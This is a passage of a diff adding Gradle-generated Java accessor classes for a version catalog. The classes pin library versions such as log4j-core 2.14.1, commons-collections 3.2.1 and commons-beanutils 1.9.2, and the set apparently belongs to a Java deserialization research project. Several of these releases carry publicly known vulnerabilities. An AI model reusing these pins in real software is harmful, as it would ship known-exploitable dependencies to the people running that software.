+ * This version was declared in catalog libs.versions.toml + */ + public Provider getTerajdbc() { return getVersion("com.teradata.jdbc.terajdbc"); } + + } + + public static class ComUnboundidVersionAccessors extends VersionFactory { + + private final ComUnboundidUnboundidVersionAccessors vaccForComUnboundidUnboundidVersionAccessors = new ComUnboundidUnboundidVersionAccessors(providers, config); + public ComUnboundidVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.unboundid.unboundid + */ + public ComUnboundidUnboundidVersionAccessors getUnboundid() { + return vaccForComUnboundidUnboundidVersionAccessors; + } + + } + + public static class ComUnboundidUnboundidVersionAccessors extends VersionFactory { + + public ComUnboundidUnboundidVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.unboundid.unboundid.ldapsdk with value 4.0.9 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getLdapsdk() { return getVersion("com.unboundid.unboundid.ldapsdk"); } + + } + + public static class ComVaadinVersionAccessors extends VersionFactory { + + private final ComVaadinVaadinVersionAccessors vaccForComVaadinVaadinVersionAccessors = new ComVaadinVaadinVersionAccessors(providers, config); + public ComVaadinVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.com.vaadin.vaadin + */ + public ComVaadinVaadinVersionAccessors getVaadin() { + return vaccForComVaadinVaadinVersionAccessors; + } + + } + + public static class ComVaadinVaadinVersionAccessors extends VersionFactory { + + public ComVaadinVaadinVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias com.vaadin.vaadin.server with value 7.7.14 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getServer() { return getVersion("com.vaadin.vaadin.server"); } + + } + + public static class CommonsVersionAccessors extends VersionFactory { + + private final CommonsBeanutilsVersionAccessors vaccForCommonsBeanutilsVersionAccessors = new CommonsBeanutilsVersionAccessors(providers, config); + private final CommonsCliVersionAccessors vaccForCommonsCliVersionAccessors = new CommonsCliVersionAccessors(providers, config); + private final CommonsCollectionsVersionAccessors vaccForCommonsCollectionsVersionAccessors = new CommonsCollectionsVersionAccessors(providers, config); + public CommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.commons.beanutils + */ + public CommonsBeanutilsVersionAccessors getBeanutils() { + return vaccForCommonsBeanutilsVersionAccessors; + } + + /** + * Group of versions at versions.commons.cli + */ + public CommonsCliVersionAccessors getCli() { + return vaccForCommonsCliVersionAccessors; + } + + /** + * Group of versions at versions.commons.collections + */ + public CommonsCollectionsVersionAccessors getCollections() { + return vaccForCommonsCollectionsVersionAccessors; + } + + } + + public static class CommonsBeanutilsVersionAccessors extends VersionFactory { + + private final CommonsBeanutilsCommonsVersionAccessors vaccForCommonsBeanutilsCommonsVersionAccessors = new CommonsBeanutilsCommonsVersionAccessors(providers, config); + public CommonsBeanutilsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.commons.beanutils.commons + */ + public CommonsBeanutilsCommonsVersionAccessors getCommons() { + return vaccForCommonsBeanutilsCommonsVersionAccessors; + } + + } + + public static class CommonsBeanutilsCommonsVersionAccessors extends VersionFactory { + + public CommonsBeanutilsCommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias commons.beanutils.commons.beanutils with value 1.9.2 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getBeanutils() { return getVersion("commons.beanutils.commons.beanutils"); } + + } + + public static class CommonsCliVersionAccessors extends VersionFactory { + + private final CommonsCliCommonsVersionAccessors vaccForCommonsCliCommonsVersionAccessors = new CommonsCliCommonsVersionAccessors(providers, config); + public CommonsCliVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.commons.cli.commons + */ + public CommonsCliCommonsVersionAccessors getCommons() { + return vaccForCommonsCliCommonsVersionAccessors; + } + + } + + public static class CommonsCliCommonsVersionAccessors extends VersionFactory { + + public CommonsCliCommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias commons.cli.commons.cli with value 1.5.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCli() { return getVersion("commons.cli.commons.cli"); } + + } + + public static class CommonsCollectionsVersionAccessors extends VersionFactory { + + private final CommonsCollectionsCommonsVersionAccessors vaccForCommonsCollectionsCommonsVersionAccessors = new CommonsCollectionsCommonsVersionAccessors(providers, config); + public CommonsCollectionsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.commons.collections.commons + */ + public CommonsCollectionsCommonsVersionAccessors getCommons() { + return vaccForCommonsCollectionsCommonsVersionAccessors; + } + + } + + public static class CommonsCollectionsCommonsVersionAccessors extends VersionFactory { + + public CommonsCollectionsCommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias commons.collections.commons.collections with value 3.2.1 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCollections() { return getVersion("commons.collections.commons.collections"); } + + } + + public static class IoVersionAccessors extends VersionFactory { + + private final IoProjectreactorVersionAccessors vaccForIoProjectreactorVersionAccessors = new IoProjectreactorVersionAccessors(providers, config); + private final IoUndertowVersionAccessors vaccForIoUndertowVersionAccessors = new IoUndertowVersionAccessors(providers, config); + public IoVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.io.projectreactor + */ + public IoProjectreactorVersionAccessors getProjectreactor() { + return vaccForIoProjectreactorVersionAccessors; + } + + /** + * Group of versions at versions.io.undertow + */ + public IoUndertowVersionAccessors getUndertow() { + return vaccForIoUndertowVersionAccessors; + } + + } + + public static class IoProjectreactorVersionAccessors extends VersionFactory { + + private final IoProjectreactorReactorVersionAccessors vaccForIoProjectreactorReactorVersionAccessors = new IoProjectreactorReactorVersionAccessors(providers, config); + public IoProjectreactorVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.io.projectreactor.reactor + */ + public IoProjectreactorReactorVersionAccessors getReactor() { + return vaccForIoProjectreactorReactorVersionAccessors; + } + + } + + public static class IoProjectreactorReactorVersionAccessors extends VersionFactory { + + public IoProjectreactorReactorVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias io.projectreactor.reactor.core with value 3.4.26 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("io.projectreactor.reactor.core"); } + + } + + public static class IoUndertowVersionAccessors extends VersionFactory { + + private final IoUndertowUndertowVersionAccessors vaccForIoUndertowUndertowVersionAccessors = new IoUndertowUndertowVersionAccessors(providers, config); + public IoUndertowVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.io.undertow.undertow + */ + public IoUndertowUndertowVersionAccessors getUndertow() { + return vaccForIoUndertowUndertowVersionAccessors; + } + + } + + public static class IoUndertowUndertowVersionAccessors extends VersionFactory { + + public IoUndertowUndertowVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias io.undertow.undertow.core with value 2.2.2.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("io.undertow.undertow.core"); } + + /** + * Version alias io.undertow.undertow.servlet with value 2.2.2.Final + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getServlet() { return getVersion("io.undertow.undertow.servlet"); } + + } + + public static class JavaxVersionAccessors extends VersionFactory { + + private final JavaxMediaVersionAccessors vaccForJavaxMediaVersionAccessors = new JavaxMediaVersionAccessors(providers, config); + private final JavaxServletVersionAccessors vaccForJavaxServletVersionAccessors = new JavaxServletVersionAccessors(providers, config); + private final JavaxWebsocketVersionAccessors vaccForJavaxWebsocketVersionAccessors = new JavaxWebsocketVersionAccessors(providers, config); + public JavaxVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.media + */ + public JavaxMediaVersionAccessors getMedia() { + return vaccForJavaxMediaVersionAccessors; + } + + /** + * Group of versions at versions.javax.servlet + */ + public JavaxServletVersionAccessors getServlet() { + return vaccForJavaxServletVersionAccessors; + } + + /** + * Group of versions at versions.javax.websocket + */ + public JavaxWebsocketVersionAccessors getWebsocket() { + return vaccForJavaxWebsocketVersionAccessors; + } + + } + + public static class JavaxMediaVersionAccessors extends VersionFactory { + + private final JavaxMediaJaiVersionAccessors vaccForJavaxMediaJaiVersionAccessors = new JavaxMediaJaiVersionAccessors(providers, config); + public JavaxMediaVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.media.jai + */ + public JavaxMediaJaiVersionAccessors getJai() { + return vaccForJavaxMediaJaiVersionAccessors; + } + + } + + public static class JavaxMediaJaiVersionAccessors extends VersionFactory { + + private final JavaxMediaJaiJaiVersionAccessors vaccForJavaxMediaJaiJaiVersionAccessors = new JavaxMediaJaiJaiVersionAccessors(providers, config); + public JavaxMediaJaiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.media.jai.jai + */ + public JavaxMediaJaiJaiVersionAccessors getJai() { + return vaccForJavaxMediaJaiJaiVersionAccessors; + } + + } + + public static class JavaxMediaJaiJaiVersionAccessors extends VersionFactory { + + public JavaxMediaJaiJaiVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias javax.media.jai.jai.core with value 1.1.3 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("javax.media.jai.jai.core"); } + + } + + public static class JavaxServletVersionAccessors extends VersionFactory { + + private final JavaxServletJavaxVersionAccessors vaccForJavaxServletJavaxVersionAccessors = new JavaxServletJavaxVersionAccessors(providers, config); + public JavaxServletVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.servlet.javax + */ + public JavaxServletJavaxVersionAccessors getJavax() { + return vaccForJavaxServletJavaxVersionAccessors; + } + + } + + public static class JavaxServletJavaxVersionAccessors extends VersionFactory { + + private final JavaxServletJavaxServletVersionAccessors vaccForJavaxServletJavaxServletVersionAccessors = new JavaxServletJavaxServletVersionAccessors(providers, config); + public JavaxServletJavaxVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.servlet.javax.servlet + */ + public JavaxServletJavaxServletVersionAccessors getServlet() { + return vaccForJavaxServletJavaxServletVersionAccessors; + } + + } + + public static class JavaxServletJavaxServletVersionAccessors extends VersionFactory { + + public JavaxServletJavaxServletVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias javax.servlet.javax.servlet.api with value 4.0.1 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getApi() { return getVersion("javax.servlet.javax.servlet.api"); } + + } + + public static class JavaxWebsocketVersionAccessors extends VersionFactory { + + private final JavaxWebsocketJavaxVersionAccessors vaccForJavaxWebsocketJavaxVersionAccessors = new JavaxWebsocketJavaxVersionAccessors(providers, config); + public JavaxWebsocketVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.websocket.javax + */ + public JavaxWebsocketJavaxVersionAccessors getJavax() { + return vaccForJavaxWebsocketJavaxVersionAccessors; + } + + } + + public static class JavaxWebsocketJavaxVersionAccessors extends VersionFactory { + + private final JavaxWebsocketJavaxWebsocketVersionAccessors vaccForJavaxWebsocketJavaxWebsocketVersionAccessors = new JavaxWebsocketJavaxWebsocketVersionAccessors(providers, config); + public JavaxWebsocketJavaxVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.javax.websocket.javax.websocket + */ + public JavaxWebsocketJavaxWebsocketVersionAccessors getWebsocket() { + return vaccForJavaxWebsocketJavaxWebsocketVersionAccessors; + } + + } + + public static class JavaxWebsocketJavaxWebsocketVersionAccessors extends VersionFactory { + + public JavaxWebsocketJavaxWebsocketVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias javax.websocket.javax.websocket.api with value 1.1 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getApi() { return getVersion("javax.websocket.javax.websocket.api"); } + + } + + public static class JbossVersionAccessors extends VersionFactory { + + private final JbossJbossVersionAccessors vaccForJbossJbossVersionAccessors = new JbossJbossVersionAccessors(providers, config); + public JbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.jboss.jboss + */ + public JbossJbossVersionAccessors getJboss() { + return vaccForJbossJbossVersionAccessors; + } + + } + + public static class JbossJbossVersionAccessors extends VersionFactory { + + public JbossJbossVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias jboss.jboss.serialization with value 4.2.2.GA + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getSerialization() { return getVersion("jboss.jboss.serialization"); } + + } + + public static class JunitVersionAccessors extends VersionFactory { + + public JunitVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias junit.junit with value 4.11 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getJunit() { return getVersion("junit.junit"); } + + } + + public static class NetVersionAccessors extends VersionFactory { + + private final NetJodahVersionAccessors vaccForNetJodahVersionAccessors = new NetJodahVersionAccessors(providers, config); + private final NetSfVersionAccessors vaccForNetSfVersionAccessors = new NetSfVersionAccessors(providers, config); + public NetVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.net.jodah + */ + public NetJodahVersionAccessors getJodah() { + return vaccForNetJodahVersionAccessors; + } + + /** + * Group of versions at versions.net.sf + */ + public NetSfVersionAccessors getSf() { + return vaccForNetSfVersionAccessors; + } + + } + + public static class NetJodahVersionAccessors extends VersionFactory { + + public NetJodahVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias net.jodah.expiringmap with value 0.5.9 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getExpiringmap() { return getVersion("net.jodah.expiringmap"); } + + } + + public static class NetSfVersionAccessors extends VersionFactory { + + private final NetSfJsonVersionAccessors vaccForNetSfJsonVersionAccessors = new NetSfJsonVersionAccessors(providers, config); + public NetSfVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.net.sf.json + */ + public NetSfJsonVersionAccessors getJson() { + return vaccForNetSfJsonVersionAccessors; + } + + } + + public static class NetSfJsonVersionAccessors extends VersionFactory { + + private final NetSfJsonLibVersionAccessors vaccForNetSfJsonLibVersionAccessors = new NetSfJsonLibVersionAccessors(providers, config); + public NetSfJsonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.net.sf.json.lib + */ + public NetSfJsonLibVersionAccessors getLib() { + return vaccForNetSfJsonLibVersionAccessors; + } + + } + + public static class NetSfJsonLibVersionAccessors extends VersionFactory { + + private final NetSfJsonLibJsonVersionAccessors vaccForNetSfJsonLibJsonVersionAccessors = new NetSfJsonLibJsonVersionAccessors(providers, config); + public NetSfJsonLibVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.net.sf.json.lib.json + */ + public NetSfJsonLibJsonVersionAccessors getJson() { + return vaccForNetSfJsonLibJsonVersionAccessors; + } + + } + + public static class NetSfJsonLibJsonVersionAccessors extends VersionFactory { + + public NetSfJsonLibJsonVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias net.sf.json.lib.json.lib with value 2.4 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getLib() { return getVersion("net.sf.json.lib.json.lib"); } + + } + + public static class OrgVersionAccessors extends VersionFactory { + + private final OrgApacheVersionAccessors vaccForOrgApacheVersionAccessors = new OrgApacheVersionAccessors(providers, config); + private final OrgAspectjVersionAccessors vaccForOrgAspectjVersionAccessors = new OrgAspectjVersionAccessors(providers, config); + private final OrgBeanshellVersionAccessors vaccForOrgBeanshellVersionAccessors = new OrgBeanshellVersionAccessors(providers, config); + private final OrgClojureVersionAccessors vaccForOrgClojureVersionAccessors = new OrgClojureVersionAccessors(providers, config); + private final OrgCodehausVersionAccessors vaccForOrgCodehausVersionAccessors = new OrgCodehausVersionAccessors(providers, config); + private final OrgEclipseVersionAccessors vaccForOrgEclipseVersionAccessors = new OrgEclipseVersionAccessors(providers, config); + private final OrgFusesourceVersionAccessors vaccForOrgFusesourceVersionAccessors = new OrgFusesourceVersionAccessors(providers, config); + private final OrgGlassfishVersionAccessors vaccForOrgGlassfishVersionAccessors = new OrgGlassfishVersionAccessors(providers, config); + private final OrgHibernateVersionAccessors vaccForOrgHibernateVersionAccessors = new OrgHibernateVersionAccessors(providers, config); + private final OrgJavassistVersionAccessors vaccForOrgJavassistVersionAccessors = new OrgJavassistVersionAccessors(providers, config); + private final OrgJbossVersionAccessors vaccForOrgJbossVersionAccessors = new OrgJbossVersionAccessors(providers, config); + private final OrgJenkinsVersionAccessors vaccForOrgJenkinsVersionAccessors = new OrgJenkinsVersionAccessors(providers, config); + private final OrgOw2VersionAccessors vaccForOrgOw2VersionAccessors = new OrgOw2VersionAccessors(providers, config); + private final OrgPythonVersionAccessors vaccForOrgPythonVersionAccessors = new OrgPythonVersionAccessors(providers, config); + private final OrgReflectionsVersionAccessors vaccForOrgReflectionsVersionAccessors = new OrgReflectionsVersionAccessors(providers, config); + private final OrgSpringframeworkVersionAccessors vaccForOrgSpringframeworkVersionAccessors = new OrgSpringframeworkVersionAccessors(providers, config); + public OrgVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache + */ + public OrgApacheVersionAccessors getApache() { + return vaccForOrgApacheVersionAccessors; + } + + /** + * Group of versions at versions.org.aspectj + */ + public OrgAspectjVersionAccessors getAspectj() { + return vaccForOrgAspectjVersionAccessors; + } + + /** + * Group of versions at versions.org.beanshell + */ + public OrgBeanshellVersionAccessors getBeanshell() { + return vaccForOrgBeanshellVersionAccessors; + } + + /** + * Group of versions at versions.org.clojure + */ + public OrgClojureVersionAccessors getClojure() { + return vaccForOrgClojureVersionAccessors; + } + + /** + * Group of versions at versions.org.codehaus + */ + public OrgCodehausVersionAccessors getCodehaus() { + return vaccForOrgCodehausVersionAccessors; + } + + /** + * Group of versions at versions.org.eclipse + */ + public OrgEclipseVersionAccessors getEclipse() { + return vaccForOrgEclipseVersionAccessors; + } + + /** + * Group of versions at versions.org.fusesource + */ + public OrgFusesourceVersionAccessors getFusesource() { + return vaccForOrgFusesourceVersionAccessors; + } + + /** + * Group of versions at versions.org.glassfish + */ + public OrgGlassfishVersionAccessors getGlassfish() { + return vaccForOrgGlassfishVersionAccessors; + } + + /** + * Group of versions at versions.org.hibernate + */ + public OrgHibernateVersionAccessors getHibernate() { + return vaccForOrgHibernateVersionAccessors; + } + + /** + * Group of versions at versions.org.javassist + */ + public OrgJavassistVersionAccessors getJavassist() { + return vaccForOrgJavassistVersionAccessors; + } + + /** + * Group of versions at versions.org.jboss + */ + public OrgJbossVersionAccessors getJboss() { + return vaccForOrgJbossVersionAccessors; + } + + /** + * Group of versions at versions.org.jenkins + */ + public OrgJenkinsVersionAccessors getJenkins() { + return vaccForOrgJenkinsVersionAccessors; + } + + /** + * Group of versions at versions.org.ow2 + */ + public OrgOw2VersionAccessors getOw2() { + return vaccForOrgOw2VersionAccessors; + } + + /** + * Group of versions at versions.org.python + */ + public OrgPythonVersionAccessors getPython() { + return vaccForOrgPythonVersionAccessors; + } + + /** + * Group of versions at versions.org.reflections + */ + public OrgReflectionsVersionAccessors getReflections() { + return vaccForOrgReflectionsVersionAccessors; + } + + /** + * Group of versions at versions.org.springframework + */ + public OrgSpringframeworkVersionAccessors getSpringframework() { + return vaccForOrgSpringframeworkVersionAccessors; + } + + } + + public static class OrgApacheVersionAccessors extends VersionFactory { + + private final OrgApacheClickVersionAccessors vaccForOrgApacheClickVersionAccessors = new OrgApacheClickVersionAccessors(providers, config); + private final OrgApacheCommonsVersionAccessors vaccForOrgApacheCommonsVersionAccessors = new OrgApacheCommonsVersionAccessors(providers, config); + private final OrgApacheLoggingVersionAccessors vaccForOrgApacheLoggingVersionAccessors = new OrgApacheLoggingVersionAccessors(providers, config); + private final OrgApacheMavenVersionAccessors vaccForOrgApacheMavenVersionAccessors = new OrgApacheMavenVersionAccessors(providers, config); + private final OrgApacheMyfacesVersionAccessors vaccForOrgApacheMyfacesVersionAccessors = new OrgApacheMyfacesVersionAccessors(providers, config); + private final OrgApacheTomcatVersionAccessors vaccForOrgApacheTomcatVersionAccessors = new OrgApacheTomcatVersionAccessors(providers, config); + private final OrgApacheWicketVersionAccessors vaccForOrgApacheWicketVersionAccessors = new OrgApacheWicketVersionAccessors(providers, config); + public OrgApacheVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.click + */ + public OrgApacheClickVersionAccessors getClick() { + return vaccForOrgApacheClickVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.commons + */ + public OrgApacheCommonsVersionAccessors getCommons() { + return vaccForOrgApacheCommonsVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.logging + */ + public OrgApacheLoggingVersionAccessors getLogging() { + return vaccForOrgApacheLoggingVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.maven + */ + public OrgApacheMavenVersionAccessors getMaven() { + return vaccForOrgApacheMavenVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.myfaces + */ + public OrgApacheMyfacesVersionAccessors getMyfaces() { + return vaccForOrgApacheMyfacesVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.tomcat + */ + public OrgApacheTomcatVersionAccessors getTomcat() { + return vaccForOrgApacheTomcatVersionAccessors; + } + + /** + * Group of versions at versions.org.apache.wicket + */ + public OrgApacheWicketVersionAccessors getWicket() { + return vaccForOrgApacheWicketVersionAccessors; + } + + } + + public static class OrgApacheClickVersionAccessors extends VersionFactory { + + private final OrgApacheClickClickVersionAccessors vaccForOrgApacheClickClickVersionAccessors = new OrgApacheClickClickVersionAccessors(providers, config); + public OrgApacheClickVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.click.click + */ + public OrgApacheClickClickVersionAccessors getClick() { + return vaccForOrgApacheClickClickVersionAccessors; + } + + } + + public static class OrgApacheClickClickVersionAccessors extends VersionFactory { + + public OrgApacheClickClickVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.click.click.nodeps with value 2.3.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getNodeps() { return getVersion("org.apache.click.click.nodeps"); } + + } + + public static class OrgApacheCommonsVersionAccessors extends VersionFactory { + + private final OrgApacheCommonsCommonsVersionAccessors vaccForOrgApacheCommonsCommonsVersionAccessors = new OrgApacheCommonsCommonsVersionAccessors(providers, config); + public OrgApacheCommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.commons.commons + */ + public OrgApacheCommonsCommonsVersionAccessors getCommons() { + return vaccForOrgApacheCommonsCommonsVersionAccessors; + } + + } + + public static class OrgApacheCommonsCommonsVersionAccessors extends VersionFactory { + + public OrgApacheCommonsCommonsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.commons.commons.collections4 with value 4.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCollections4() { return getVersion("org.apache.commons.commons.collections4"); } + + /** + * Version alias org.apache.commons.commons.lang3 with value 3.12.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getLang3() { return getVersion("org.apache.commons.commons.lang3"); } + + /** + * Version alias org.apache.commons.commons.text with value 1.8 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getText() { return getVersion("org.apache.commons.commons.text"); } + + } + + public static class OrgApacheLoggingVersionAccessors extends VersionFactory { + + private final OrgApacheLoggingLog4jVersionAccessors vaccForOrgApacheLoggingLog4jVersionAccessors = new OrgApacheLoggingLog4jVersionAccessors(providers, config); + public OrgApacheLoggingVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.logging.log4j + */ + public OrgApacheLoggingLog4jVersionAccessors getLog4j() { + return vaccForOrgApacheLoggingLog4jVersionAccessors; + } + + } + + public static class OrgApacheLoggingLog4jVersionAccessors extends VersionFactory { + + private final OrgApacheLoggingLog4jLog4jVersionAccessors vaccForOrgApacheLoggingLog4jLog4jVersionAccessors = new OrgApacheLoggingLog4jLog4jVersionAccessors(providers, config); + public OrgApacheLoggingLog4jVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.logging.log4j.log4j + */ + public OrgApacheLoggingLog4jLog4jVersionAccessors getLog4j() { + return vaccForOrgApacheLoggingLog4jLog4jVersionAccessors; + } + + } + + public static class OrgApacheLoggingLog4jLog4jVersionAccessors extends VersionFactory { + + public OrgApacheLoggingLog4jLog4jVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.logging.log4j.log4j.core with value 2.14.1 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

+ * This version was declared in catalog libs.versions.toml + */ + public Provider getCore() { return getVersion("org.apache.logging.log4j.log4j.core"); } + + } + + public static class OrgApacheMavenVersionAccessors extends VersionFactory { + + private final OrgApacheMavenPluginsVersionAccessors vaccForOrgApacheMavenPluginsVersionAccessors = new OrgApacheMavenPluginsVersionAccessors(providers, config); + public OrgApacheMavenVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.maven.plugins + */ + public OrgApacheMavenPluginsVersionAccessors getPlugins() { + return vaccForOrgApacheMavenPluginsVersionAccessors; + } + + } + + public static class OrgApacheMavenPluginsVersionAccessors extends VersionFactory { + + private final OrgApacheMavenPluginsMavenVersionAccessors vaccForOrgApacheMavenPluginsMavenVersionAccessors = new OrgApacheMavenPluginsMavenVersionAccessors(providers, config); + public OrgApacheMavenPluginsVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.maven.plugins.maven + */ + public OrgApacheMavenPluginsMavenVersionAccessors getMaven() { + return vaccForOrgApacheMavenPluginsMavenVersionAccessors; + } + + } + + public static class OrgApacheMavenPluginsMavenVersionAccessors extends VersionFactory { + + private final OrgApacheMavenPluginsMavenAssemblyVersionAccessors vaccForOrgApacheMavenPluginsMavenAssemblyVersionAccessors = new OrgApacheMavenPluginsMavenAssemblyVersionAccessors(providers, config); + public OrgApacheMavenPluginsMavenVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Group of versions at versions.org.apache.maven.plugins.maven.assembly + */ + public OrgApacheMavenPluginsMavenAssemblyVersionAccessors getAssembly() { + return vaccForOrgApacheMavenPluginsMavenAssemblyVersionAccessors; + } + + } + + public static class OrgApacheMavenPluginsMavenAssemblyVersionAccessors extends VersionFactory { + + public OrgApacheMavenPluginsMavenAssemblyVersionAccessors(ProviderFactory providers, DefaultVersionCatalog config) { super(providers, config); } + + /** + * Version alias org.apache.maven.plugins.maven.assembly.plugin with value 3.0.0 + *

+ * If the version is a rich version and cannot be represented as a + * single version string, an empty string is returned. + *

